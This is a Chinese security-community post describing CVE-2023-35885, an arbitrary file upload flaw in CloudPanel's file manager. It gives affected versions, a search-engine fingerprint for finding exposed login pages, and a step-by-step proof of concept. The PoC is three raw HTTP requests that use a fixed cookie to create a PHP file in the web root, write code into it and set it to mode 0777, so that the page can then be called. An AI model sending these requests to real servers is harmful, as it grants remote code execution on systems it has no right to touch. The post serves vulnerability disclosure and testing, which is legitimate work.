奇安信攻防社区-cloudpanel makefile 任意文件上传漏洞 CVE-2023-35885

cloudpanel makefile 任意文件上传漏洞 CVE-2023-35885

# cloudpanel makefile 任意文件上传漏洞 CVE-2023-35885 ## 漏洞描述 cloudpanel makefile 接口存在任意文件上传漏洞，攻击者通过漏洞可以获取服务器权限 ## 漏洞影响 cloudpanel...

cloudpanel makefile 任意文件上传漏洞 CVE-2023-35885
===========================================

漏洞描述
----

cloudpanel makefile 接口存在任意文件上传漏洞，攻击者通过漏洞可以获取服务器权限

漏洞影响
----

cloudpanel 2.0.0 &gt;= 2.3.0

网络测绘
----

title=="CloudPanel | Log In"

漏洞复现
----

登陆页面

![img](https://shs3.b.qianxin.com/butian_public/f687812341a51467e4c2acbab48621251cd53f1061518.jpg)

验证POC

```php
POST /file-manager/backend/makefile HTTP/1.1
Host: 
Accept: */*
Connection: keep-alive
Cookie: clp-fm=ZGVmNTAyMDA5NjM3ZTZiYTlmNzQ3MDU1YTNhZGVlM2IxODczMTBjYjYwOTFiNDRmNmZjYTFjZjRiNmFhMTEwOTRiMmNiNTA5Zjc2YjY1ZGRkOWIwMGZmNjE2YWUzOTFiOTM5MDg0Y2U5YzBlMmM5ZTJlNGI3ZTM3NzQ1OTk2MjAxNTliOWUxYjE1ZWVlODYxNGVmOWVkZDVjMjFmYWZkYjczZDFhNGZhOGMyMmQyMmViMGM2YTkwYTE4ZDEzOTdkMmI4YWMwZmI0YWYyNTRmMjUzOTJlNzNiMGM4OWJmZTU0ZDA1NTIwYTJmMjI0MmM2NmQyOWJjNzJlZGExODA0NzBkZmU3YTRkYTM=
Content-Length: 54
Content-Type: application/x-www-form-urlencoded

id=/htdocs/app/files/public/&name=Test.php
```

![img](https://shs3.b.qianxin.com/butian_public/f7192353b89d94655c43a9d0abbf77ecb06f2da360347.jpg)

```php
POST /file-manager/backend/text HTTP/1.1
Host: 
Accept: */*
Connection: keep-alive
Cookie: clp-fm=ZGVmNTAyMDA5NjM3ZTZiYTlmNzQ3MDU1YTNhZGVlM2IxODczMTBjYjYwOTFiNDRmNmZjYTFjZjRiNmFhMTEwOTRiMmNiNTA5Zjc2YjY1ZGRkOWIwMGZmNjE2YWUzOTFiOTM5MDg0Y2U5YzBlMmM5ZTJlNGI3ZTM3NzQ1OTk2MjAxNTliOWUxYjE1ZWVlODYxNGVmOWVkZDVjMjFmYWZkYjczZDFhNGZhOGMyMmQyMmViMGM2YTkwYTE4ZDEzOTdkMmI4YWMwZmI0YWYyNTRmMjUzOTJlNzNiMGM4OWJmZTU0ZDA1NTIwYTJmMjI0MmM2NmQyOWJjNzJlZGExODA0NzBkZmU3YTRkYTM=
Content-Length: 289
Content-Type: application/x-www-form-urlencoded

id=/htdocs/app/files/public/Test.php&content=<?php phpinfo()?>
```

![img](https://shs3.b.qianxin.com/butian_public/f70360207252dc76da7b020bd59ec58fc6e090f9de696.jpg)

```php
POST /file-manager/backend/permissions HTTP/1.1
Host: 
Accept: */*
Connection: keep-alive
Cookie: clp-fm=ZGVmNTAyMDA5NjM3ZTZiYTlmNzQ3MDU1YTNhZGVlM2IxODczMTBjYjYwOTFiNDRmNmZjYTFjZjRiNmFhMTEwOTRiMmNiNTA5Zjc2YjY1ZGRkOWIwMGZmNjE2YWUzOTFiOTM5MDg0Y2U5YzBlMmM5ZTJlNGI3ZTM3NzQ1OTk2MjAxNTliOWUxYjE1ZWVlODYxNGVmOWVkZDVjMjFmYWZkYjczZDFhNGZhOGMyMmQyMmViMGM2YTkwYTE4ZDEzOTdkMmI4YWMwZmI0YWYyNTRmMjUzOTJlNzNiMGM4OWJmZTU0ZDA1NTIwYTJmMjI0MmM2NmQyOWJjNzJlZGExODA0NzBkZmU3YTRkYTM=
Content-Length: 65
Content-Type: application/x-www-form-urlencoded

id=/htdocs/app/files/public/Test.php&permissions=0777
```

![img](https://shs3.b.qianxin.com/butian_public/f574235ee279817022baa592d3cc4193ea7a2485f5dc9.jpg)

```php
/Test.php
```

发表于 2024-07-12 18:45:54
阅读 ( 684 )
分类：Web应用

cloudpanel makefile 任意文件上传漏洞 CVE-2023-35885

0 条评论